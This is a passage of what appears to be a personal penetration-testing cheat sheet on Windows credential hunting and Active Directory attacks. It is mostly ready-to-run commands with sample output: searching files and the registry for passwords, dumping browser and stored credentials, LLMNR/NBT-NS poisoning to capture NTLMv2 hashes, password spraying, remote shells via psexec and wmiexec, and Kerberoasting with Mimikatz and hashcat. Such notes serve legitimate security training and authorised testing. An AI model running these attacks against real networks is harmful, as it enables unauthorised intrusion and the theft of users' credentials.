  C:\dbs> findstr /S /I /C:"password" "C:\Users\*"*.txt *.ini *.cfg *.config *.xml
  ```
* Manually searching a user's Documents folder:

  ```cmd
  C:\dbs> cd C:\Users\dollarboysushil\Documents & findstr /SI /M "password" *.xml *.ini *.txt
  ```

#### Using PowerShell

* To search through text files in the Documents folder:

  ```powershell
  PS C:\dbs> select-string -Path C:\Users\dollarboysushil\Documents\*.txt -Pattern password
  ```
* To find files with "pass" in their names:

  ```powershell
  C:\dbs> dir /S /B *pass*.txt, *pass*.xml, *pass*.ini, *cred*, *vnc*, *.config*
  ```
* Searching recursively for configuration files:

  ```powershell
  C:\dbs> Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore
  ```

### **Further Credential Theft**

#### Listing Stored Credentials

* To list stored usernames and passwords:

  ```cmd
  C:\dbs> cmdkey /list
  ```
* To run a command as another user and save credentials:

  ```powershell
  C:\dbs> runas /savecred /user:marvel\james "COMMAND HERE"
  ```

#### Retrieving Browser Credentials

* Use SharpChrome to retrieve cookies and saved logins from Google Chrome:

  ```powershell
  PS C:\dbs> .\SharpChrome.exe logins /unprotect
  ```
* Using Lazagne to retrieve credentials from various applications:

  ```powershell
  PS C:\dbs> .\lazagne.exe all
  ```
* Extracting saved credentials from various applications using SessionGopher:

  ```powershell
  C:\dbs> Import-Module .\SessionGopher.ps1
  C:\dbs> Invoke-SessionGopher -Target WIN01
  ```

### **Windows AutoLogon**

Windows AutoLogon allows a user to configure their system to automatically log into a specific account without entering credentials each time. The relevant registry keys can be found under `HKEY_LOCAL_MACHINE`:

```cmd
C:\dbs> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

#### Example Output:

```css
AutoAdminLogon    REG_SZ    1
DefaultUserName   REG_SZ    dollarboysushil
DefaultPassword   REG_SZ    pleasesubscribe
```

### **Clear-Text Password Storage in the Registry**

#### PuTTY

* Saved sessions for PuTTY can be found in the following registry location:

```php-template
Computer\HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\<SESSION NAME>
```

#### Viewing Saved Wireless Networks

* To view saved wireless network profiles:

  ```cmd
  netsh wlan show profile
  ```

### **PowerShell Credentials**

PowerShell credentials can be stored and retrieved securely for scripting purposes. They are encrypted using Data Protection API (DPAPI) and can be decrypted only by the same user on the same computer.

#### Example Commands:

```powershell
C:\dbs> $credential = Import-Clixml -Path 'C:\scripts\pass.xml'
C:\dbs> $credential.GetNetworkCredential().username
dollar
C:\dbs> $credential.GetNetworkCredential().password
pleasesubscribe
```


# Active Directory Attacks

## Some Popular Tools

| **Tool**          | **Purpose**                                                                                    | **Features**                                                                                             |
| ----------------- | ---------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------- |
| **BloodHound**    | Reveals attack paths in AD using graph theory.                                                 | Maps potential attack paths, visualizes high-value targets, identifies misconfigurations.                |
| **PowerView**     | PowerShell tool for enumerating AD environments.                                               | Enumerates users, groups, computers, ACLs, SPNs, and shares; identifies group memberships.               |
| **Mimikatz**      | Extracts plaintext passwords, hashes, PINs, and Kerberos tickets from memory.                  | Supports Pass-the-Hash, Pass-the-Ticket, Golden Ticket attacks, and extracts credentials from LSASS.     |
| **Impacket**      | Python library for network protocol manipulation, used for remote code execution and AD tasks. | Tools for dumping secrets (`secretsdump.py`), remote execution (`wmiexec.py`), and interacting with SMB. |
| **Responder**     | Captures credentials by poisoning LLMNR, NBT-NS, and MDNS requests.                            | Acts as a rogue server, captures NTLM hashes, and can be used for SMB relay attacks.                     |
| **CrackMapExec**  | Multifunctional tool for enumeration, exploitation, and post-exploitation in AD.               | Checks for SMB shares, password policies, performs password spraying, and executes remote commands.      |
| **Cobalt Strike** | Commercial penetration testing tool with C2 and post-exploitation capabilities.                | Supports lateral movement, credential harvesting, integrates with Mimikatz, and provides C2 framework.   |
| **Rubeus**        | C# tool for Kerberos interaction and abuse.                                                    | Performs Kerberos ticket requests, Pass-the-Ticket, Overpass-the-Hash, and Kerberoasting.                |
| **SharpHound**    | Data collection component of BloodHound, written in C#.                                        | Gathers information about AD objects via LDAP, SMB, DCOM, and supports stealthy data collection.         |
| **ADRecon**       | Reconnaissance tool that generates detailed AD reports.                                        | Enumerates domain controllers, trusts, user accounts, groups, and group memberships.                     |
| **Nishang**       | Collection of PowerShell scripts for exploitation, post-exploitation, and reconnaissance.      | Performs AD enumeration, privilege escalation, lateral movement, and generates reverse shells.           |
| **Kerbrute**      | Tool for brute-forcing Kerberos logins and enumerating valid usernames.                        | Performs user enumeration and password spraying via Kerberos.                                            |
| **Inveigh**       | PowerShell-based tool for network protocol poisoning and credential capture.                   | Acts like Responder to capture NTLMv1/v2 hashes over LLMNR/NetBIOS.                                      |
| **rpcinfo**       | Displays information about RPC services running on a remote machine.                           | Enumerates available RPC services, helping identify remote accessible functionalities.                   |
| **rpcclient**     | Command-line tool for interacting with Windows RPC services.                                   | Retrieves user information, SID lookups, and NetBIOS name tables; useful for AD reconnaissance.          |


# Enumeration

## External Reconnaissance

External reconnaissance involves gathering information from public sources to identify the target’s network footprint and domain details.

**Tools for External Recon**

1. [**BGP Toolkit (https://bgp.he.net/)**](https://bgp.he.net/)
   * **Purpose:** Finds IP address ranges, ASNs, and BGP routing information.
   * **Use Case:** Search for the organization's ASN or name to discover registered IP ranges and subnets.
2. [**Whois Lookup (https://whois.domaintools.com/)**](https://whois.domaintools.com/)
   * **Purpose:** Retrieves domain registration details (owner, registrar, contact info).
   * **Use Case:** Provides domain ownership history, useful for identifying related domains and administrative contacts.
3. [**ViewDNS.info (https://viewdns.info/)**](https://viewdns.info/)
   * **Purpose:** Offers multiple tools like DNS records, reverse DNS, and reverse IP lookups.
   * **Use Case:** Finds hosted domains on an IP, DNS configurations, and verifies global DNS propagation.
4. [**Shodan (https://www.shodan.io/)**](https://www.shodan.io/)
   * **Purpose:** Search engine for internet-connected devices and services.
   * **Use Case:** Finds open ports, services, and vulnerabilities associated with the target’s IP addresses.
5. [**Censys (https://censys.io/)**](https://censys.io/)
   * **Purpose:** Internet search engine for enumerating devices and services.
   * **Use Case:** Gathers information on SSL certificates, web servers, and open ports.
6. [**DNSDumpster (https://dnsdumpster.com/)**](https://dnsdumpster.com/)
   * **Purpose:** DNS recon tool for mapping domain infrastructure.
   * **Use Case:** Identifies subdomains, MX records, and hosts for domain mapping.
7. [**Spyse (https://spyse.com/)**](https://spyse.com/)
   * **Purpose:** Provides information on domains, IP addresses, SSL certificates, and technologies used.
   * **Use Case:** Useful for comprehensive data collection on an organization’s internet footprint.
8. [**Netcraft (https://www.netcraft.com/)**](https://www.netcraft.com/)
   * **Purpose:** Website reconnaissance tool for discovering hosting details and technologies.
   * **Use Case:** Checks site history, IP addresses, and hosting providers.

These tools assist in passive information gathering, which helps in understanding the target’s external infrastructure without alerting them to your activities.

## Internal Reconnaissance

Internal reconnaissance involves gathering information about the target's internal network once access is gained. The goal is to map the network, identify high-value targets, and discover potential vulnerabilities.

When performing internal reconnaissance, the initial goal is to identify active hosts, map the network, and gather basic information about the environment.

**1. Ping Sweep using fping**

* **Purpose:** Identifies active hosts on a network by sending ICMP echo requests.
* **Command Example:**

  ```bash
  fping -a -g 192.168.1.0/24 2>/dev/null
  ```
* **Explanation:**
  * `-a` shows only live hosts.
  * `-g` generates a list of IPs for the specified subnet.
  * This command scans the entire subnet to find active devices.

**2. DNS Resolution using nslookup**

* **Purpose:** Queries DNS servers for domain name information, translating hostnames to IP addresses.
* **Command Example:**

  ```bash
  nslookup <hostname>
  ```
* **Use Cases:**
  * Translate a hostname to its IP address.
  * Find the DNS server information for the domain.
* **Tip:** Can also perform reverse lookups with an IP address to find associated hostnames.

**3. Nmap Scan on All Hosts**

* **Purpose:** Conducts network scanning to identify open ports, services, and operating systems.
* **Basic Command Example:**

  ```bash
  nmap -sP 192.168.1.0/24
  ```
* **Explanation:**
  * `-sP` performs a ping scan to list active hosts.
* **Full Port Scan Example:**

  ```bash
  nmap -p- 192.168.1.1
  ```
* **Explanation:**
  * `-p-` scans all 65,535 ports on a target host to discover open services.

**Practical Workflow**

1. **Start with a Ping Sweep:** Use `fping` to identify active hosts on the network.
2. **Perform DNS Lookups:** Use `nslookup` to resolve hostnames and gather DNS information.
3. **Use Nmap for Port Scanning:** Run Nmap scans on identified hosts to map open ports and services.


# Initial Foothold

## LLMNR/NBT-NS Poisoning

<figure><img src="/files/oyeaqKRP404ePTZUfUDG" alt=""><figcaption></figcaption></figure>

## Attack Path

* **Initial Connection Request:**\
  The victim host attempts to connect to a resource on the network by typing `\\dollarboy`.
* **DNS Failure:**\
  The primary server responds to the victim saying that the requested host (`\\dollarboy`) is unknown because there is no matching DNS record for it.
* **LLMNR Broadcast Request:**\
  Since DNS failed, the victim’s machine sends a multicast/LLMNR broadcast across the local network asking, "Does anyone know `\\dollarboy`?"
* **Attacker Responds:**\
  The attacker, running **Responder** on a Kali machine, listens for such broadcasts and responds, pretending to be `\\dollarboy`. The attacker tricks the victim into believing it has found the right destination.
* **Authentication Request Sent:**\
  The victim, trusting the attacker’s response, tries to authenticate with `\\dollarboy` by sending its **NTLMv2** credentials (username and password hash) to the attacker.
* **Hash Captured and Exploited:**\
  The attacker now has access to the NTLMv2 hash, which can either be:
  * **Cracked offline** to retrieve the plaintext password.
  * **Used in an SMB Relay attack** to impersonate the user on other systems (if SMB signing is not enforced).

## LLMNR/NBT-NS Poisoning from Linux

* `sudo responder -I {interface}`&#x20;

```
[+] [LLMNR]  Poisoned answer sent to 192.168.1.10 for name DOLLARBOY
[+] [SMB] NTLMv2-SSP Hash captured from 192.168.1.10
[SMB] User: DOMAIN\victim_user
[SMB] NTLMv2 Hash: 
    [+] [LLMNR]  Poisoned answer sent to 192.168.1.10 for name DOLLARBOY
[+] [SMB] NTLMv2-SSP Hash captured from 192.168.1.10
[SMB] User: DOMAIN\victim_user
[SMB] NTLMv2 Hash: 
    victim_user::DOMAIN:1122334455667788:ABCDEF1234567890:010100000000000000E04BDEB8C83F18C351...B8C83F18C351...
```

Then save the hash in .txt file\
`victim_user::DOMAIN:1122334455667788:ABCDEF1234567890:010100000000000000E04BD..................`

* Then run hashcat to crack the hash\
  `hashcat -m 5600 hash.txt /path/to/wordlist.txt`

## LLMNR/NBT-NS Poisoning from Windows

For windows, we can use Inveigh <https://github.com/Kevin-Robertson/Inveigh>

* `PS C:\dollarboy> Import-Module .\Inveigh.ps1`-> Import Inveigh module
* `PS C:\dollarboy> Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y`\
  **Explanation:**\
  `-LLMNR Y`: Enable LLMNR poisoning.\
  `-NBNS Y`: Enable NBNS poisoning.\
  `-ConsoleOutput Y`: Display captured hashes in the PowerShell console.\
  additionally we can use `-FileOutput Y` to save into file

Once the NTLMv2 Hash is captured, crack with hashcat.

\+ We can use executable (C#) version of Inveigh. C# version is constantly updated.<br>


# Gathering Users & Password Policies

## Gathering Users

#### User Enumeration Techniques for Active Directory Attacks

Here are various methods to enumerate users from an Active Directory (AD) environment using different tools.

1. **enum4linux**
   * **Command:**

     ```bash
     enum4linux -U {DC-IP}
     ```
   * **Description:** Enumerates users from the target Domain Controller (DC) using SMB.
2. **RPCClient**
   * **Command:**

     ```bash
     rpcclient -U "" -N {DC-IP}
     ```
   * **Followed by:**

     ```bash
     rpcclient$> enumdomusers
     ```
   * **Description:** Uses the Windows RPC protocol to list domain users. The command starts an RPCClient session and then executes `enumdomusers` to retrieve user details.
3. **CrackMapExec**
   * **Command:**

     ```bash
     crackmapexec smb {DC-IP} --users
     ```
   * **Description:** Enumerates users via the SMB protocol. Useful for checking user existence across a range of IPs or for one specific DC.
4. **LDAPSearch**
   * **Command:**

     ```bash
     ldapsearch -h {DC-IP} -x -b "DC=MARVEL,DC=LOCAL" -s sub "(&(objectclass=user))"
     ```
   * **Description:** Performs LDAP enumeration to retrieve all users from the Active Directory, specifying the base DN and search scope.
5. **WindapSearch**
   * **Command:**

     ```bash
     ./windapsearch.py --dc-ip {DC-IP} -u "" -U
     ```
   * **Description:** Uses WindapSearch to enumerate users via LDAP, providing a quick way to find users on the DC.
6. **Kerbrute**
   * **Command:**

     ```bash
     kerbrute userenum -d marvel.local --dc {DC-IP} /opt/seclists/usernames/xato-net-10-million-usernames.txt
     ```
   * **Description:** Enumerates valid usernames via Kerberos, useful for finding valid accounts by trying different usernames.
7. **RID-Brute with CrackMapExec**
   * **Command:**

     ```bash
     crackmapexec smb {DC-IP} -u 'guest' -p '' --rid-brute
     ```
   * **Description:** Performs RID brute-forcing to identify user accounts by enumerating Security Identifiers (SIDs).

These techniques help gather user information from an AD environment, which is essential for subsequent attacks like password spraying or privilege escalation.

## Enumerating Password Policies

### Enumerating & Retrieving Password Policies - Credentialed ⭐

With valid domain credentials, password policies can be obtained remotely using tools like `crackmapexec` or `rpcclient`.

1. **CrackMapExec**
   * **Command:**

     ```bash
     crackmapexec smb {DC-IP} -u sushil -p poudel --pass-pol
     ```
   * **Description:** Retrieves domain password policy with a valid username and password.
2. **rpcclient**
   * **Command:**

     ```bash
     rpcclient -U "username" {DC-IP}
     ```
   * **Followed by:**

     ```bash
     rpcclient$> getdompwinfo
     ```
   * **Description:** Lists the password policy information using valid credentials.

### Enumerating Password Policies - SMB NULL Sessions ⭐

SMB NULL sessions allow an unauthenticated attacker to retrieve information from the domain, such as a list of users, groups, and password policies.

1. **rpcclient**
   * **Command:**

     ```bash
     rpcclient -U "" -N {DC-IP}
     ```
   * **Followed by:**

     ```bash
     rpcclient$> querydominfo
     rpcclient$> getdompwinfo
     ```
   * **Description:** Uses `querydominfo` to confirm NULL session access and `getdompwinfo` to retrieve the password policy.
2. **enum4linux**
   * **Command:**

     ```bash
     enum4linux -P {DC-IP}
     ```
   * **Description:** Retrieves the password policy from a domain controller using SMB NULL sessions.
3. **enum4linux-ng**
   * **Command:**

     ```bash
     enum4linux-ng -P {DC-IP} -oA output
     ```
   * **Description:** A Python rewrite of `enum4linux` with additional features like exporting the output.

### Enumerating Null Sessions - from Windows

Performing a NULL session attack from a Windows machine is less common, but still possible.

* **Command:**

  ```bash
  net use \\{DC-NAME}\ipc$ "" /u:""
  ```
* **Description:** Establishes a NULL session to the domain controller.

If we are authenticated to domain joined windows host, then we can use command\
&#x20;`net accounts` \
to retrieve password policy.

### Enumerating Password Policies - LDAP Anonymous Bind

Anonymous LDAP binds can also be used to gather password policies without credentials.

1. **ldapsearch**
   * **Command:**

     ```bash
     ldapsearch -h {DC-IP} -x -b "DC=marvel,DC=local" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
     ```
   * **Description:** Searches LDAP anonymously to extract password policy details.


# Password Spraying

## Password Spraying from Linux

#### Using Kerbrute

* `dollarboysushil@kali[dbs]$ kerbrute passwordspray -d marvel.local --dc 192.168.1.1 users_list.txt P@ssw0rd`

#### Using Crackmapexec

* `dollarboysushil@kali[dbs]$ sudo crackmapexec smb 192.168.1.1 -u users_list.txt -p --continue-on-success`

#### Local Admin Spraying with CrackMapExec

Local admin spraying is a technique used to check if a given set of credentials has local administrator access on multiple machines in a network.

1. **CrackMapExec Local Admin Check**
   * **Command:**

     ```bash
     crackmapexec smb {IP-Range} -u {Username} -p {Password} --local-auth
     ```
   * **Description:** Checks if the provided username and password have local administrator privileges on the specified IP range. The `--local-auth` flag specifies that the provided credentials are local accounts on each target machine.
2. **Using a List of Credentials**
   * **Command:**

     ```bash
     crackmapexec smb {IP-Range} -u {Usernames-File} -p {Passwords-File} --local-auth
     ```
   * **Description:** Uses a file containing multiple usernames and passwords to spray against the specified IP range, checking for local administrator access.
3. **Password Spraying with Known Username**
   * **Command:**

     ```bash
     crackmapexec smb {IP-Range} -u {Username} -p {Password-List} --local-auth
     ```
   * **Description:** Performs password spraying using a known username and a list of passwords against the IP range to check if any of them provide local administrator access.
4. **Specifying a Domain**
   * **Command:**

     ```bash
     crackmapexec smb {IP-Range} -d {Domain-Name} -u {Username} -p {Password} --local-auth
     ```
   * **Description:** Checks for local admin access on machines within a specified domain using the provided credentials.
5. **Additional Options**
   * **`--continue-on-success`**: Continue spraying even if successful credentials are found.
   * **`--threads {Number}`**: Specify the number of threads for concurrent connections.

#### Example Commands

* **Basic Local Admin Check:**

  ```bash
  crackmapexec smb 192.168.1.0/24 -u admin -p Password123 --local-auth
  ```

## Local Admin Spraying from Windows

Local admin spraying can also be performed on a Windows machine using PowerShell scripts such as [`DomainPasswordSpray.ps1`](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1). This script allows for password spraying across multiple machines within a domain to check for valid credentials.

1. **Using `DomainPasswordSpray.ps1`**
   * **Step 1:** Import the PowerShell module.

     ```powershell
     PS C:\htb> Import-Module .\DomainPasswordSpray.ps1
     ```
   * **Step 2:** Invoke the password spraying command.

     ```powershell
     PS C:\htb> Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
     ```
   * **Description:** This command sprays the password "Welcome1" across the domain, logging any successful login attempts to the `spray_success` file. The `-ErrorAction SilentlyContinue` flag suppresses errors to keep the output clean.
2. **Specifying Additional Parameters**
   * **`-UserList {Path}`:** Use a file containing a list of usernames to spray against.
   * **`-Domain {Domain}`:** Specify the domain name if different from the default context.
   * **`-Throttle {Milliseconds}`:** Add a delay between attempts to avoid account lockout policies.
   * **Example Command:**

     ```powershell
     PS C:\htb> Invoke-DomainPasswordSpray -UserList C:\users.txt -Password Welcome1 -Domain MYDOMAIN -OutFile spray_success -Throttle 500 -ErrorAction SilentlyContinue
     ```

#### Example Commands

* **Basic Password Spray:**

  ```powershell
  PS C:\htb> Invoke-DomainPasswordSpray -Password Password123 -OutFile success_log.txt -ErrorAction SilentlyContinue
  ```


# Credentialed Enumeration From Linux

## **Authenticated Enumeration - from Linux**

### 1️⃣ CrackMapExec

* `sudo crackmapexec smb 10.20.30.40 -u alex -p StrongPass123 --users` → Enumerates domain users\
  Displays a list of domain users along with the `badPwdCount` attribute.
* `sudo crackmapexec smb 10.20.30.40 -u alex -p StrongPass123 --groups` → Enumerates domain groups\
  Provides a list of groups along with the number of users in each.
* `sudo crackmapexec smb 10.20.30.150 -u alex -p StrongPass123 --loggedon-users` → Shows currently logged-in users.
* `sudo crackmapexec smb 10.20.30.40 -u alex -p StrongPass123 --shares` → Lists available shared resources and access levels for the user.
* `sudo crackmapexec smb 10.20.30.40 -u alex -p StrongPass123 -M spider_plus`\
  This module scans all accessible shares for readable files. You can specify a particular share using `--share 'Finance Records'`.\
  The output is saved in `/tmp/cme_spider_plus/<target_ip>`.

### 2️⃣ SMBMap

* `smbmap -u alex -p StrongPass123 -d CORP.LOCAL -H 10.20.30.40` → Checks accessible resources and permission levels.
* `smbmap -u alex -p StrongPass123 -d CORP.LOCAL -H 10.20.30.40 -R 'Finance Records' --dir-only`\
  Displays all subdirectories within the specified directory without listing files.

### 3️⃣ rpcclient

[`rpcclient`](https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html) is a useful tool for interacting with Samba and MS-RPC services. It allows enumeration, modification, and deletion of Active Directory objects.

* `rpcclient -U "" -N 10.20.30.40` → Establishes a null session shell with the domain controller.
* `rpcclient$> queryuser 0x457` → Enumerates user by RID (0x457 in hex = 111 in decimal).
* `rpcclient$> enumdomusers` → Lists all domain users along with their RIDs.

### 4️⃣ Impacket Toolkit

#### Psexec.py

This tool uploads an executable to the `ADMIN$` share, creates a remote service, and establishes a SYSTEM-level shell.

* `psexec.py corp.local/jdoe:'SecurePass!1'@10.20.30.125` → Spawns a remote shell.

#### wmiexec.py

`wmiexec.py` leverages Windows Management Instrumentation (WMI) for command execution. Unlike `psexec.py`, it does not leave artifacts on the target system.

* `wmiexec.py corp.local/jdoe:'SecurePass!1'@10.20.30.40` → Opens a semi-interactive shell.

### 5️⃣ Windapsearch

[Windapsearch](https://github.com/ropnop/windapsearch) is a Python script for querying LDAP and extracting user, group, and computer information from an Active Directory domain.

* `python3 windapsearch.py --dc-ip 10.20.30.40 -u alex@corp.local -p StrongPass123 --da` → Retrieves members of the Domain Admins group.
* `python3 windapsearch.py --dc-ip 10.20.30.40 -u alex@corp.local -p StrongPass123 -PU` → Identifies privileged users.

### 6️⃣ BloodHound.py

Initially a PowerShell tool, `BloodHound.py` is a Python implementation useful for gathering AD-related data without needing a Windows machine.

* `sudo bloodhound-python -u 'alex' -p 'StrongPass123' -ns 10.20.30.40 -d corp.local -c all` → Runs BloodHound data collection.
  * `-ns` = Name server
  * `-d` = Domain
  * `-c` = Collection type (all data in this case)

The output consists of JSON files.

* `zip -r corp_bh.zip *.json` → Compresses collected data into a ZIP file.


# Credentialed Enumeration From Windows

## **Active Directory Credentialed Enumeration (Windows)**

### **1️⃣ PowerShell & Active Directory Module**

PowerShell’s built-in `ActiveDirectory` module provides essential tools for querying and managing Active Directory objects.

#### **Loading the Module**

* `Get-Module` → Lists available PowerShell modules
* `Import-Module ActiveDirectory` → Loads the Active Directory module if not already imported

#### **Domain & User Enumeration**

* `Get-ADDomain` → Displays general domain information
* `Get-ADTrust -Filter *` → Checks for domain trust relationships
* `Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName` → Identifies Kerberoastable accounts
* `Get-ADGroup -Filter * | Select-Object Name` → Lists all AD groups
* `Get-ADGroup -Identity "Administrators"` → Retrieves details of a specific group
* `Get-ADGroupMember -Identity "Domain Admins"` → Lists members of a specified group

### **2️⃣ PowerView**

[PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon) is a robust PowerShell tool used for Active Directory reconnaissance.

#### **Basic Enumeration Commands**

* `Get-Domain` → Retrieves details about the Active Directory domain
* `Get-DomainUser` → Lists users in the domain
* `Get-DomainComputer` → Enumerates domain-joined computers
* `Get-DomainController` → Identifies domain controllers
* `Get-DomainGroup` → Lists all domain groups
* `Get-DomainOU` → Enumerates Organizational Units (OUs)
* `Find-InterestingDomainAcl` → Detects modification rights in domain ACLs

#### **Privilege & Access Enumeration**

* `Find-DomainUserLocation` → Identifies machines where users are logged in
* `Find-DomainShare` → Discovers accessible file shares in the domain
* `Find-InterestingDomainShareFile` → Searches for potentially sensitive files in shares
* `Test-AdminAccess` → Verifies administrative privileges on a remote machine

#### **Trust & Group Membership Analysis**

* `Get-DomainTrust` → Retrieves domain trust relationships
* `Get-ForestTrust` → Identifies forest-level trust relationships
* `Get-DomainForeignUser` → Lists users who belong to groups outside their primary domain
* `Get-DomainForeignGroupMember` → Finds groups with members from outside domains
* `Get-DomainTrustMapping` → Maps domain trust relationships

### **3️⃣ SharpView**

SharpView is a .NET alternative to PowerView, offering similar enumeration functionality in a compiled format.

* `.\SharpView.exe Get-DomainUser -Identity "john.doe"` → Retrieves details about a specific user

### **4️⃣ BloodHound & SharpHound**

BloodHound is a powerful tool used for visualizing Active Directory attack paths. The `SharpHound.exe` collector gathers necessary information.

* `.\SharpHound.exe -c All --zipfilename DataCollection` → Executes full AD enumeration

Once collected, transfer the results to an attacker-controlled machine and analyze them in BloodHound.

### **5️⃣ Snaffler - File Scavenging Tool**

[Snaffler](https://github.com/SnaffCon/Snaffler) automates the discovery of sensitive files within an Active Directory environment.

* `Snaffler.exe -s -d corp.local -o findings.log -v data` → Runs a deep scan for valuable files

### **6️⃣ Additional Recon Tools & Methods**

#### **General System Enumeration**

* `Get-NetLocalGroup` → Lists local groups on a machine
* `Get-NetLocalGroupMember` → Enumerates members of a local group
* `Get-NetShare` → Identifies accessible shared directories
* `Get-NetSession` → Retrieves active session details on a machine

#### **Service Principal Name (SPN) Enumeration**

* `Get-DomainSPNTicket` → Requests Kerberos tickets for Service Principal Name (SPN) accounts (potential Kerberoasting targets)

By leveraging these techniques, an attacker or pentester can gather valuable information about an Active Directory environment while minimizing detection. 🚀


# Kerberoasting - From Linux

## Kerberoasting Attack Process

<figure><img src="/files/C81ycDFf3Kq6Qvqqd11t" alt=""><figcaption></figcaption></figure>

### Step 1: Fix Clock Skew Error

To fix the clock skew error, use the following commands:

```bash
timedatectl set-ntp off
sudo ntpdate 192.168.10.20
```

### Prerequisites

A prerequisite for performing Kerberoasting attacks is having domain user credentials (either cleartext or an NTLM hash, if using Impacket), a shell in the context of a domain user account, or a high-privileged account like SYSTEM. Once you gain this level of access, you can start. You also need to identify the Domain Controller within the domain to query it.

### Target of the Attack

This attack targets **Service Principal Names (SPN)** accounts.

SPNs are unique identifiers that Kerberos uses to map a service instance to a service account in whose context the service is running.

Any domain user can request a Kerberos ticket for any service account in the same domain.

**Depending on your position in a network, this attack can be performed in multiple ways:**

* From a non-domain joined Linux host using valid domain user credentials.
* From a domain-joined Linux host as root after retrieving the keytab file.
* From a domain-joined Windows host authenticated as a domain user.
* From a domain-joined Windows host with a shell in the context of a domain account.
* As SYSTEM on a domain-joined Windows host.
* From a non-domain joined Windows host using [runas](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525\(v=ws.11\)) /netonly.

#### Commands

* `Impacket-GetUserSPNs.py -dc-ip 192.168.10.20 DOMAIN.LOCAL/dollarboysushil` → list SPN accounts
* `Impacket-GetUserSPNs.py -dc-ip 192.168.10.20 DOMAIN.LOCAL/dollarboysushil -request` → Requesting all TGS tickets
* `Impacket-GetUserSPNs.py -dc-ip 192.168.10.20 DOMAIN.LOCAL/dollarboysushil -request-user sqldev` → Requesting a single TGS ticket.

We can use `-outputfile filename` flag to save the TGS ticket in a file.

* `hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt` → Cracking Ticket offline using Hashcat
* `sudo crackmapexec smb 192.168.10.20 -u sqldev -p database!` → Testing authentication against a domain controller


# Kerberoasting - From Windows

### Semi Manual Method

* `C:\> setspn.exe -Q */*` → lists various available SPNs
* `PS C:\> Add-Type -AssemblyName System.IdentityModel`
* `PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL:1433"`
  * The [Add-Type](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/add-type?view=powershell-7.2) cmdlet is used to add a .NET framework class to our PowerShell session, which can then be instantiated like any .NET framework object
  * The `AssemblyName` parameter allows us to specify an assembly that contains types that we are interested in using
  * [System.IdentityModel](https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel?view=netframework-4.8) is a namespace that contains different classes for building security token services
  * We'll then use the [New-Object](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/new-object?view=powershell-7.2) cmdlet to create an instance of a .NET Framework object
  * We'll use the [System.IdentityModel.Tokens](https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens?view=netframework-4.8) namespace with the [KerberosRequestorSecurityToken](https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.kerberosrequestorsecuritytoken?view=netframework-4.8) class to create a security token and pass the SPN name to the class to request a Kerberos TGS ticket for the target account in our current logon session

We are requesting TGS tickets for an account and load them into memory to later extract using Mimikatz

* `PS C:\> setspn.exe -T DOMAIN.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }` → request tickets for all accounts with SPNs set.

Now lets extract tickets from mimikatz

```
Using 'mimikatz.log' for logfile : OK

mimikatz # base64 /out:true
isBase64InterceptInput  is false
isBase64InterceptOutput is true

mimikatz # kerberos::list /export

<SNIP>

[00000002] - 0x00000017 - rc4_hmac_nt
   Start/End/MaxRenew: 2/24/2022 3:36:22 PM ; 2/25/2022 12:55:25 AM ; 3/3/2022 2:55:25 PM
   Server Name       : MSSQLSvc/DEV-PRE-SQL:1433 @ DOMAIN.LOCAL
   Client Name       : USERNAME @ DOMAIN.LOCAL
   Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;
====================
Base64 of file : 2-40a10000-USERNAME@MSSQLSvc~DEV-PRE-SQL~1433-DOMAIN.LOCAL.kirbi
====================
doIGPzCCBjugAwIBBaEDAgEWooIFKDCCBSRhggUgMIIFHKADAgEFoRUbE0lOTEFO
RUZSRUlHSFQuTE9DQUyiOzA5oAMCAQKhMjAwGwhNU1NRTFN2YxskREVWLVBSRS1T
UUwuaW5sYW5lZnJlaWdodC5sb2NhbDoxNDMzo4IEvzCCBLugAwIBF6EDAgECooIE
<...................SNIP...................>
LkxPQ0FMqTswOaADAgECoTIwMBsITVNTUUxTdmMbJERFVi1QUkUtU1FMLmlubGFu
ZWZyZWlnaHQubG9jYWw6MTQzMw==
====================

   * Saved to file     : 2-40a10000-USERNAME@MSSQLSvc~DEV-PRE-SQL~1433-DOMAIN.LOCAL.kirbi

<SNIP>
```

if we do not specify `base64 /out:true` , mimikatz will extract the tickets and write them to `.kirbi` files

* decode this base64 Blob and save into file `sqldev.kirbi`
* then use `kirbi2john` to extract Kerberos Ticket.
* `sed 's/\$krb5tgs\$(.*):\(.*\)/\$krb5tgs\$23\$\1\$\2/' crack_file > sqldev_tgs_hashcat` → modify the file/hash for Hashcat

  \*\*$\*\*krb5tgs$23$*sqldev.kirbi*$813149fb261549a6a1b38e71a057feeab → it will look something like this
* `hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt` → finally cracking the hash.

### Automated / Tool Based Route

* `setspn.exe -Q */*` → list available spns

#### Using PowerView

* `PS C:\> Import-Module .\PowerView.ps1` → importing powerview
* `PS C:\> Get-DomainUser * -spn | select samaccountname` → getting spn account
* `PS C:\> Get-DomainUser -Identity username | Get-DomainSPNTicket -Format Hashcat` → Targeting Specific User
